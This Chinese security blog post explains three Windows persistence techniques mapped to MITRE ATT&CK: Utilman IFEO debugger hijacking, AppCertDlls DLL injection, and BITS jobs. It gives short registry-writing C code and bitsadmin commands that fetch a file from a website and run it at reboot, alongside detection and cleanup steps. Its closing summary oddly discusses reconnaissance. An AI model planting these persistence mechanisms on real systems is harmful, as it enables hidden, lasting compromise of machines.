一、前言

“在网络安全的世界里,白帽子与黑帽子之间无时无刻都在进行着正与邪的对抗,似乎永无休止。正所谓,道高一尺魔高一丈,巨大的利益驱使着个人或组织利用技术进行不法行为,花样层出不穷,令人防不胜防。”

为了更好得应对这些攻击手段,就需要做到了解对手。俗话说:知己知彼,方能百战不殆。MITRE ATT&CK™就提供了全球范围的黑客的攻击手段和技术知识点,并把 APT 组织或恶意工具使用到的攻击手段一一对应,便于从根源上解决问题。许多公司和政府部门都会从中提取信息,针对遇到的威胁建立安全体系或模型。我们作为安全从业人员,如果能够掌握MITRE ATT&CK™如此庞大的知识体系,对以后的工作和对抗来说,就像是拥有了一个武器库,所向披靡。

当然,这么一个庞大的体系是不可能一蹴而就的。我们可以依照MITRE ATT&CK™的框架,从持久化这一点开始。本文的主要内容是介绍 APT 攻击者在 Windows 系统下持久运行恶意代码的常用手段,其中的原理是什么,是怎样实现的,安全运维人员如何及时发现,我们应该从哪些方面预防和检测。

二、测试环境

  • 靶机操作系统:Windows 7

  • 终端威胁检测工具:SiAgent

三、网络拓扑

四、关于SiAgent

4.1 SiAgent介绍

SiAgent是一个用于 Windows、OS X(macOS)、Linux 和 FreeBSD 的操作系统检测软件。这样使得操作系统分析和监控变得既高效又直观。

4.2 SiAgent能做什么

包括但不限于基线设备监控,软件基线,用户基线,配置基线,容器基线等等安全基线的检查与监控。可与安全管理平台进行连接与联动,在最大化的解决了终端的安全隐患的同时,仍然能保持极低的性能消耗,减少不必要的性能开支。

五、相关案例

5.1 辅助功能镜像劫持

5.1.1 简介

在注册表中创建一个辅助功能的注册表项,并根据镜像劫持的原理添加键值,实现系统在未登录状态下,通过快捷键运行自己的程序。

5.1.2 对应战术

  • 事件触发执行:辅助功能(T1546.008)[https://attack.mitre.org/techniques/T1546/008/]

  • 事件触发执行:映像文件执行选项注入(T1546.012)[https://attack.mitre.org/techniques/T1546/012/]

5.1.3 原理

映像劫持,也被称为「IFEO」(Image File Execution Options)。当目标程序被映像劫持时,双击目标程序,系统会转而运行劫持程序,并不会运行目标程序。许多病毒会利用这一点来抑制杀毒软件的运行,并运行自己的程序。

造成映像劫持的罪魁祸首就是参数「Debugger」,它是 IFEO 里第一个被处理的参数,系统如果发现某个程序文件在 IFEO 列表中,它就会首先来读取 Debugger 参数,如果该参数不为空,系统则会把 Debugger 参数里指定的程序文件名作为用户试图启动的程序执行请求来处理,而仅仅把用户试图启动的程序作为 Debugger 参数里指定的程序文件名的参数发送过去。

5.1.4 实现代码

HKEY hKey;constchar path[] = "C:\Users\quail\Desktop\hello.exe";    RegCreateKeyExA(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\WindowsNT\\CurrentVersion\\Image File Execution Options\\Utilman.exe", 0,NULL, 0, KEY_WRITE, NULL, &hKey,&dwDisposition);    RegSetValueExA(hKey, "Debugger", 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path)))

5.1.5 实现效果图

5.1.6 安全管理平台发现效果

5.1.7 SiAgent查询结果

通过特定语法与特定条件进行SOFTWARE的查询,发现存在Debugger项。

5.1.8 检查以及清除方法

1.检查「HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option」注册表路径中的程序名称。

2.其它适用于的辅助功能还有:

  • 屏幕键盘:C:\Windows\System32\osk.exe

  • 放大镜:C:\Windows\System32\Magnify.exe

  • 旁白:C:\Windows\System32\Narrator.exe

  • 显示开关:C:\Windows\System32\DisplaySwitch.exe

  • 应用程序开关:C:\Windows\System32\AtBroker.exe

5.2 AppCertDlls进程注入

5.2.1 简介

编写了一个 dll,创建一个 AppCertDlls 注册表项,在默认键值中添加 dll 的路径,实现了对使用特定 API 进程的注入。

5.2.2 对应战术

事件触发的执行:AppCert DLL( T1546.009)[https://attack.mitre.org/techniques/T1546/009/]

5.2.3 原理

如果有进程使用了CreateProcess、CreateProcessAsUser、CreateProcessWithLoginW、CreateProcessWithTokenW 或WinExec 函数,那么此进程会获取HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager\AppCertDlls 注册表项,此项下的 dll 都会加载到此进程。

5.2.4 实现代码

HKEY hKey;constchar path[] = "C:\\secisland.dll";    RegCreateKeyExA(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control\\Session Manager\\AppCertDlls", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);    RegSetValueExA(hKey, "Default", 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path)));

5.2.5 实现效果图

5.2.6 安全管理平台发现效果

5.2.7 SiAgent查询结果

通过特定语法与特定条件进行AppCertDlls的查询,发现存在Default项。

5.2.8 检查以及清除方法

监测 dll 的加载,特别是查找不是通常的 dll,或者不是正常加载的 dll。

监视 AppCertDLL 注册表值

监视和分析注册表编辑的 API 调用,如 RegCreateKeyEx 和 RegSetValueEx。

5.3 BITS作业持久化

5.3.1 简介

通过 bitsadmin 命令加入传输任务,利用 BITS 的特性,实现每次重启都会执行自己的程序。

5.3.2 对应战术

BITS作业(T1197)[https://attack.mitre.org/techniques/T1197/]

5.3.3 原理

BITS,后台智能传输服务,是一个 Windows 组件,它可以利用空闲的带宽在前台或后台异步传输文件,例如,当应用程序使用 80% 的可用带宽时,BITS 将只使用剩下的 20%。不影响其他网络应用程序的传输速度,并支持在重新启动计算机或重新建立网络连接之后自动恢复文件传输。

5.3.4 实现代码

bitsadmin /create secislandbitsadmin /addfile secisland http://www.secisland.com/WechatIMG4170.png  C:\Users\quail\Desktop\helloSecisland.pngbitsadmin /SetNotifyCmdLine secisland "%COMSPEC%""cmd.exe /c bitsadmin.exe /complete \"secisland\" && start /B C:\Users\quail\Desktop\helloSecisland.png"bitsadmin /Resume secisland

5.3.5 实现效果图

5.3.6 安全管理平台发现效果

5.3.7 SiAgent查询结果

通过特定语法与特定条件进行BITS任务列表的查询,发现存在存在恶意任务项。

5.3.8 检查以及清除结果

BITS 服务的运行状态可以使用 SC 查询程序来监视(命令:sc query bits),任务列表由 BITSAdmin 来查询。

监控和分析由 BITS 生成的网络活动。

六、阶段性总结

虽然侦察中能进行技术验证的子技术偏少,但是却能帮助攻击者获取信息量非常庞大的目标信息,甚至防范不足能直接获取致命的配置信息,所以侦察一定要引起管理员的高度重视,通过技术验证也能发现,攻击者基本上每一步的行动都被我们成功感知并进行告警,后面仅需及时作出响应即可将攻击者关在门外,同样,第一阶段的信息收集也告一段落,后面将会根据获取的配置文件进行后续攻击,并通过态势感知平台对其进行捕捉与处理。

ATTCK v10版本战术实战研究—持久化(一)相关推荐

  1. ATTCK v10版本战术介绍—资源开发

    一.引言 在前两期文章中我们介绍了ATT&CK中侦察战术理论知识及实战研究,通过实战场景验证行之有效的检测规则.防御措施,本期我们为大家介绍ATT&CK 14项战术中资源开发战术,后续 ...

  2. ATTCK v10版本战术介绍-初始访问

    一.引言 在前几期文章中我们介绍了ATT&CK中侦察及资源开发战术理论知识及实战研究,通过实战场景验证行之有效的检测规则.防御措施,本期我们为大家介绍ATT&CK 14项战术中初始访问 ...

  3. ATTCK v10版本战术介绍-执行(上篇)

    一.引言 在前几期文章中我们介绍了ATT&CK中侦察.资源开发.初始访问战术理论知识及实战研究,本期我们为大家介绍ATT&CK 14项战术中的执行战术前6项技术内容,下期介绍执行战术后 ...

  4. ATTCK v10版本战术介绍执行(下篇)

    一.引言 在上期文章中我们介绍了ATT&CK执行战术前6项技术内容,本期我们为大家介绍执行战术后7项技术内容,后续会陆续介绍ATT&CK其他战术内容,敬请关注. 二.ATT&C ...

  5. ATTCK v10版本战术介绍—侦察

    一.引言 在上一篇文章<2021 ATT&CK v10版本更新指南>中我们整体介绍了什么是ATT&CK.ATT&CK发展历史.应用场景.v10版本更新说明等内容,本 ...

  6. ATTCK v12版本战术介绍持久化(三)

    一.引言 在前几期文章中我们介绍了ATT&CK中侦察.资源开发.初始访问.执行战术.持久化战术(一)及(二)知识,本期我们为大家介绍ATT&CK 14项战术中持久化战术(三)涉及的剩余 ...

  7. ATTCK v12版本战术介绍——提权(一)

    一.引言 在前几期文章中我们介绍了ATT&CK中侦察.资源开发.初始访问.执行.持久化战术理论知识及实战研究,通过实战场景验证行之有效的检测规则.防御措施,本期我们为大家介绍ATT&C ...

  8. 2021 ATTCK v10版本更新指南

    一.什么是ATT&CK ATT&CK(Adversarial Tactics, Techniques, and Common Knowledge )是一个攻击行为知识库和模型,主要应用 ...

  9. 网络攻防实战研究 漏洞利用与提权读书笔记一

    网络攻防实战研究 漏洞利用与提权读书笔记一 第一章 提权基础 1.1提权概述 1.1.1提权简介 1.1.2 提权条件 1.1.3 提权准备工作 1.1.4 实施提权 1.2 Windows账号和密码 ...

最新文章

  1. 操作系统性能优化分析及工具
  2. SDK与IDE的选择(附上设置默认SDK)
  3. 832. Flipping an Image
  4. Spring框架笔记(二十二)——切点表达式的重用
  5. c#学习体会:使用 ref 和 out 传递数组
  6. 洛谷P2347 砝码称重 某一年noip提高组原题
  7. Windows中安装MongoDB以及studio3t
  8. 巧妙地在Windows搭建node服务器
  9. Topic model相关文章总结
  10. Python使用for循环打印九九乘法表
  11. 【转】adns解析库——域名解析实例(C++、linux)
  12. Linux kernel SMP 中断机制
  13. 基于PCNN的图像增强matlab代码
  14. 潇潇六月雨 input file里的JQ change() 事件的只生效一次
  15. nginx配置静态页面html,nginx 服务器配置静态网页
  16. swiper的小bug slideTo方法不触发slideChangeTransitionStart(swiper)
  17. 2020年5月面试精心整理java面试题,覆盖了大部分面试题(附答案)
  18. 如何在Oracle数据库中使用dbms_output输出内容
  19. golang语言 []interface{}和interface{}
  20. 新加坡国立大学计算机系访学,高盛华课题组徐衍钰(博)2019年8月-2020年1月于新加坡国立大学交流访学...

热门文章

  1. vue 平滑回到顶部
  2. Windows Server 2003 共享文件夹权限设置
  3. IDEA打包Maven项目
  4. mybatis异常:Could not find result map Java.util.Map 问题分析及解决
  5. Could not transfer metadata ../maven-metadata.xml from/to nexus ..: Not authorized
  6. Python-Django毕业设计自行车租赁管理系统(程序+Lw)
  7. 0基础学习arduino(一)
  8. 一文了解WebSocket(实战)----python篇
  9. 应用场景四:西门子PLC连接ModbusRTU从站设备解决方案
  10. Java实现简单的计算器代码